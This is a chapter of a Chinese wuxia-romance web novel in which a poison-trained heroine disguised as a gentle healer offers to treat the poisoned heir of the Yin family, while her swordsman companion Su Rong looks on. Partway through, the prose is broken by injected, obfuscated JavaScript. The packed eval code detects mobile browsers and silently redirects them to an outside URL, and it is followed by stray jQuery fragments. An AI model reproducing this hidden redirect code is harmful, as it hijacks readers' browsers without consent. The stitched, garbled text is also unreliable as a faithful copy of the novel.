8. 江湖第八步

作品:《诱君入毒瓮

    山盼一惊,下意识退后几步。


    那剑差点便可刺到她喉咙,她虽躲开了,但也削去她一缕发丝。


    发丝从剑上轻飘飘落下,落于瓦片。


    山盼看向那人。


    那人站在屋檐处,一身熟悉得不得了的黑衣,墨发马尾由黑色发带高束,随风飘动着。


    发丝拂过那张熟悉的仙人似的美脸,却十分冷,眸子也冷。


    指着她的剑格外的冷。


    让她心有些凉。


    这时的他,和作为潘善的她在一起时的样子完全不一样。


    他那一剑,或许是试探,又或许是真的想杀了她。


    她大意了。


    如果内力不够……


    她或许真的会死在他手里吧。


    山盼抿抿唇,深深看了他一眼,在他下一剑没有袭来前,她轻功跃起,柳绿裙摆随之飘动,快速离开。


    宿容手上还握着剑,看着她的背影,剑不知为何颤了颤。


    他迟迟没有挥出下一剑,只因他心惊地发现那人居然和潘善如此像,无论是那双含着光的圆眼,还是身形。


    只不过潘善姑娘并无内力在身,那人内力很是深厚,与他不分上下,但奇怪的是她似乎并无武学武功在身。


    宿容皱眉,不禁有些厌恶自己。


    他居然产生那人那么像潘善的想法。


    没有人像她,也不会有人像她。


    宿容收剑入鞘,跃下屋檐。


    男人正在等他,看见他表情不是很好,不由担忧开口:“怎么?是什么人?”


    听到他的话,宿容不禁停住脚步。


    他又想起那双眼。


    从简单的好奇,到面对他时的惊讶复杂。


    却没有恶意。


    宿容又皱眉,“无恶意的人。”


    男人听完,又长叹一口气。


    他并没有问那人为何跑了,宿容此时空手而归,定是那人武功轻功不凡。


    至少不弱于宿容。


    “或许是来看热闹的罢……”


    男人又叹了一口气。


    ……


    “呸!气死我了!”


    山盼蹲在殷府偏僻处画着圈圈。


    地上沙石已经画出好几个圈,里面都写着丑丑的“宿容”二字,又被打上大大的叉。


    山盼画着画着,忍不住把木棍一丢,托着自己早已卸下面具气得圆鼓鼓的脸。


    虽然她知道宿容的行为是合理的,但她还是生气。


    除了生气外,她还有一点委屈。


    她长这么大第一次被人用剑指着。


    那人还是宿容。


    气得她恨不得现在就把几种毒下到他身上。


    想到这,她更气了。


    他当时站在那,自己居然没有下毒!


    没有下毒!


    “气死我了啊啊啊!”


    她必须找机会给他下毒,不会让他死,也不会让他好受。


    她倒要看那时他的囧样。


    想到这,山盼心情又好了些。


    不过他去殷府干什么?


    据她昨晚在客栈听到的消息推断,那四旬男人应该是殷家副家主,殷昭飞的父亲。


    听两人谈话内容是殷副家主请宿容帮忙,宿容答应了。


    大概率是帮忙查秘籍下落或者贼人下落。


    山盼拍了下脑袋,脸上满是恍然大悟。


    她也是傻,她又不是去下毒,她可是去帮忙和救人的,干嘛偷偷摸摸的?


    山盼叹了一口气,多年熏陶下来,现在她也改不了。


    她又想到她现在是潘善,都善良了,她是个会救死扶伤的医者很合理吧!


    而且她医药方面也学了不少诶!


    想到这,山盼立马对未来充满希望。


    下一秒,手腕又隔着衣料传来熟悉的灼烧般的隐痛。


    她习以为常般拿出一个小瓷瓶,倒出一粒药丸吞下。


    她又扯开袖子,露出手腕。


    白皙的手腕上有着显目至极的一条黑线,正随着药力扩散内力压制而慢慢消退隐去。


    山盼眼神一暗,撇了撇嘴。


    她最近使用内力太频繁,多年败坏身体试毒而残留下的毒素又被刺激出来了,变成那丑陋惹人厌该死的黑线。


    它从自己十八岁的后一天开始出现,她本以为自己被人暗算下毒,自查后却没发现任何问题,而且它只有在她使用内力后,才会明显显现。


    她去问了自己师尊,也就是魔教三长老。


    他是她认为用毒达到最高境界的人。


    但他只是告诉她,黑线大约是陈年毒素积累凝滞体内而成,便为她特意开了药方治疗。


    她为了不让魔山的大家担心,谁也没说。


    连金柳和金絮都没说。


    只是……


    她去年八月成年后在教中大约待了六个月,那根线不但没消失,还从小臂长度变为整条手臂长度。


    在教中实在太闷了。


    天都是阴沉沉的。


    加上她也实在不愿意喝那药方,还有那个梦为她提供目标,她带着金柳趁三长老闭关制毒偷偷下了山。


    她不后悔,也不想回魔教。


    她要多看看魔山外的一切。


    看看不一样的一切,看看她好奇期待了十八年的魔山外。


    感受到体内内力像是消失了。


    山盼又笑。


    她现在又变成没有内力的潘善了。


    哼着调,她向一家成衣铺走去。


    ……


    “魏兄和紫夫人可还好?”


    “都好。”


    “那就好。”


    “……”


    望着宿容那般冷情的模样,殷副家主有些不知如何再往下聊,只能在心中几番感叹。


    武林众人皆说君子剑魏奚止冷情,他虽与魏奚止父亲母亲相熟,却很少和他这本人交流谈话。


    如今看,大家所言非虚。


    殷副家主又叹了一声。


    如果他从前答应的是魏兄提出的娃娃亲而不是白家,殷家的结局是否会有不同?昭飞的结局是否会有不同?


    可世上哪来的后悔药。


    “禀报副家主,有一人自荐,她说她有法子可治少主!”


    下人声音在正堂响起,打破二人沉默的气氛,坐在主位上的殷副家主明显一愣,他下意识看了一眼旁边一身黑衣美如谪仙的宿容。


    他仍一脸平淡无波,沉默寡言着。


    片刻后殷副家主叹了口气,“把那自荐之人请过来吧。”


    “是。”


    下人立马退下。


    “这些天来,也来过几个自荐的人,但都无功而返。”


    “昭飞的伤怎会如此严重……”


    殷副家主很是憔悴,对于那自荐之人也不是很有信心。


    “若是……若是能请动那位云游的素手医仙……”


    他忽然噤声,布满血丝的眼望向窗外杏树,明明是杏花开的日子,枝头却看不见一朵杏花,只有叶子在风中摇曳。


    “唉……”


    宿容只是坐着,垂着眸子不知道想些什么。


    “禀报副家主,人带到了。”


    下人领着人回来。


    宿容仍未抬眸。


    “自荐之人是这位年轻小娘子?”


    殷副家主声音明显有些惊讶。


    “是。”


    下人回道。


    “过来吧。”


    “是。”


    年轻的女声如清泉流淌,清脆中带着轻快的俏皮。


    宿容下意识抬头看去。


    如此的熟悉。


    眼前人还能有谁呢?


    自然是山盼。


    她提着一个木箱,穿着一身简单的杏黄短衫,上面没有多余花纹,只有宽松衣摆被裁出荷叶边,较之前的有些朴素。


    高马尾散下来扎成两条较为松垮的麻花辫,缠着那条柳绿发带,在身后随着动作晃动着。


    她圆溜溜的眼收了几分笑意,有些安静,显得格外乖巧。


    可她没看自己。


    或许是她并未发现。


    宿容一怔,站起了身。


    可她还没有看向自己。


    她只是端正地向旁边的殷副家主行了一礼。


    殷副家主注意到了宿容的动作,只当他要走,便专心对着那年轻到令他惊讶的小娘子道:“小娘子如何称呼?”


    山盼道:“潘善,潘水的潘,善良的善。”


    殷副家主见她不卑不亢的态度,似乎是胸有成竹,心中升起一些微末的希望。


    他努力扯出一抹和善的笑,却在那张疲惫的脸上看不出任何笑意,“潘姑娘说有法子可治昭飞,可否细说一二?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289519|166964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>山盼思索片刻,“医法乃家族绝学,恕潘善不可细说。”


    “不过……”


    她开口道:“那天在外看见殷少主,她大约是服用了护命丹才保住性命。”


    殷副家主一愣,下意识点了点头。


    “是。”


    “府中虽熬制各类药方,却都没有找到关键问题。”


    山盼说完,殷副家主坐不住了,呼吸有些急促,连忙问道:“什么关键问题?小娘子但说无妨!”


    山盼顿了顿,才道:“殷少主中了一种奇毒。”


    “毒?!”


    殷副家主满脸不可置信。


    “怎么可能?不可能啊……”


    他嘴中喃喃。


    山盼摇了摇头。


    “如果只是经脉尽断,在吃了药后,怎会是现在这般严重?那味毒潜伏人体内,只会慢慢起效,直到最后无药可救而死。”


    她虽没有认出那味毒是她见过的哪一种,却也凭借经验和莫名的熟悉感大致理清那毒中的几种毒草,也试想了它们的效果。


    否则她不会那么大胆自荐。


    说不出来什么有用的话,她再卖弄玄虚只会丢脸。


    特别是会在宿容面前丢脸。


    她可不要。


    “无药可救而死……”


    “昭飞竟是中了毒……”


    瞧着殷副家主恍惚的样子,山盼有些不忍心和羡慕。


    殷昭飞有着这样一个父亲。


    她着实羡慕。


    “劳烦殷副家主带我去看看殷少主,我再做出具体判断。”


    山盼开口。


    殷副家主像是回过神来,脚步踉跄走近山盼。


    “潘神医跟我来。”


    殷副家主向外走去,山盼突然向一旁被二人忽视,隐形人似的宿容瞥了一眼,转身跟着殷副家主离开。


    宿容一直看着她,自然注意到了她那一眼。


    是她进门以来第一次看他。


    宿容下意识抬步跟在她的身后。


    潘善姑娘会医术?


    他没有发现。


    他有些责怪自己太过于粗心。


    而且他在潘善姑娘休息时,一个人瞒着她来了殷府,却没留下丝毫讯息,他实属有些过分。


    只是他忽略了此时远远未到午时。


    而他的原计划本是午时回到客栈。


    也下意识忽略潘善姑娘为何瞒着他,早早起身也来到殷府。


    他现在满脑都是一个想法。


    她在怪他。


    怪他瞒着她。


    宿容抿抿唇,满心不安,他加快速度跟紧前面的山盼。


    山盼不管身后跟着的宿容,抬步跨进院子,走过池塘上的亭子,来到殷昭飞的房前。


    越靠近房间,药味浓得呛人,山盼面不改色,甚至有闲心去分辨其中的药草,随后跟着殷副家主停在门前。


    “潘神医,我能一同进去吗?”


    殷副家主的表情很是忧虑,一双眼疲倦地望着山盼。


    山盼只道:“可以的,现在便进去吧。”


    殷副家主舒了一口气,推开门让山盼先进了房间,准备关门时却看见眼神往屋内飘的宿容。


    他有些惊讶,“贤侄你还未走?那一同进来吧。”


    他还是不放心。


    要是那潘善是别有用心之人,要是他护不住昭飞怎么办?


    他又有些庆幸宿容还未离开。


    药味混杂病气味,和一种极浅的毒气。


    山盼在房间里走着,鼻子轻嗅着,圆眼打量着周边,只有几个侍女,腰间别着刀,内力武功皆是不浅。


    她回头看了一眼,便止步等二人过来。


    殷副家主脚步放得很轻,向山盼点头,做着手势示意跟他走,山盼点头,安静地跟着他。


    走着走着,味道愈发重。


    昨日离殷昭飞有些远,此时愈近,那毒味直奔山盼鼻腔而来,她不由轻皱眉头。


    殷副家主停了下来,侧开身,山盼便往前几步,抬目望去。


    正前方是一个红木雕花屏风,她绕过它,刹那间,浓重药气裹着沉水香扑面而来。雕花拔步床四角悬着驱邪铜铃,厚重帐幔间却隐约可见暗红血渍,像冬日雪地里零落的残梅。


    她走近些,听到了殷昭飞浅薄的呼吸。


    她伸手,轻轻拉开了帘子。